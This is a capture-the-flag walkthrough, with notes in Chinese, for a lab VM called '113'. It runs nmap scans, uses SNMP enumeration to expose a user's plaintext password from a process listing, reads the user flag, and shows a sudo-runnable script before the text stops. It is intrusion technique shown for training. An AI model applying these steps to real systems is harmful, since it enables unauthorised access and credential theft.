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(root@kaada)-[/home/kali/Desktop]
└─# nmap -p- 192.168.56.220
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-18 23:19 -0500
Nmap scan report for 192.168.56.220
Host is up (0.00039s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 08:00:27:0E:6D:2B (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 3.76 seconds
```

```
(root@kaada)-[/home/kali/Desktop]
└─# nmap -sU -top-ports 100 192.168.56.220
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-18 23:19 -0500
Stats: 0:00:36 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 51.62% done; ETC: 23:20 (0:00:34 remaining)
Stats: 0:00:37 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 52.62% done; ETC: 23:20 (0:00:33 remaining)
Stats: 0:00:57 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 74.00% done; ETC: 23:20 (0:00:20 remaining)
Stats: 0:01:21 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 99.38% done; ETC: 23:20 (0:00:01 remaining)
Nmap scan report for 192.168.56.220
Host is up (0.0011s latency).
Not shown: 98 closed udp ports (port-unreach)
PORT      STATE      SERVICE
68/udp    open|filtered dhcpc
161/udp    open              snmp
MAC Address: 08:00:27:0E:6D:2B (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 92.07 seconds
```

发现开放snmp端口

```
(root@kaada)-[/home/kali/Desktop]
└─# snmp-check 192.168.56.220
snmp-check v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)

[+] Try to connect to 192.168.56.220:161 using SNMPv1 and community 'public'

[*] System information:

Host IP address      : 192.168.56.220
Hostname             : 113
Description          : Linux 113 4.19.0-27-amd64 #1 SMP Debian
4.19.316-1 (2024-06-25) x86_64
Contact              : root
Location             : Unknown
Uptime snmp          : 00:16:59.01
Uptime system        : 00:16:55.45
```

System date : 2026-1-18 03:52:48.0

[*] Network information:

IP forwarding enabled : no
Default TTL : 64
TCP segments received : 3064763
TCP segments sent : 3055472
TCP segments retrans : 21
Input datagrams : 3062999
Delivered datagrams : 3062999
Output datagrams : 3053576

[*] Network interfaces:

Interface : [up] lo
Id : 1
Mac Address : : : : :
Type : softwareLoopback
Speed : 10 Mbps
MTU : 65536
In octets : 199764
Out octets : 199764

Interface : [up] Intel Corporation 82540EM Gigabit Ethernet Controller
Id : 2
Mac Address : 08:00:27:0e:6d:2b
Type : ethernet-csmacd
Speed : 1000 Mbps
MTU : 1500
In octets : 472862034
Out octets : 1424579380

[*] Network IP:

Id	IP Address	Netmask	Broadcast
1	127.0.0.1	255.0.0.0	0
2	192.168.56.220	255.255.255.0	1

[*] Routing information:

Destination	Next hop	Mask	Metric
192.168.56.0	0.0.0.0	255.255.255.0	0

[*] TCP connections and listening ports:

Local address	Local port	Remote address	Remote port
State			

```

0.0.0.0          22          0.0.0.0          0
listen

[*] Listening UDP ports:

Local address    Local port
0.0.0.0          68
0.0.0.0          161
.....
320              runnable    rsyslogd
/usr/sbin/rsyslogd -n -iNONE
321              runnable    systemd-logind
/lib/systemd/systemd-logind
359              runnable    dhclient
/sbin/dhclient    -4 -v -i -pf /run/dhclient.enp0s3.pid -lf
/var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases
enp0
369              runnable    sleep              service --
user welcome --password mMOq2wWONQiiY8TinSRF --host localhost --port 8080
infinity

```

暴露welcome用户密码。

```

welcome@113:~$ cat user.txt
flag{user-21539141ad1bc8ab9d26420aecb2415b}
welcome@113:~$ sudo -l
Matching Defaults entries for welcome on 113:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on 113:
    (ALL) NOPASSWD: /opt/113.sh
welcome@113:~$ cat /opt/113.sh
#!/bin/bash

sandbox=$(mktemp -d)
cd $sandbox

if [ "$#" -ne 3 ];then
    exit
fi

if [ "$3" != "mazesec" ]
then
    echo "\$3 must be mazesec"
    exit
else
    /bin/cp /usr/bin/mazesec $sandbox
    exec_="$sandbox/mazesec"
fi

if [ "$1" = "exec_" ];then
    exit
fi

```

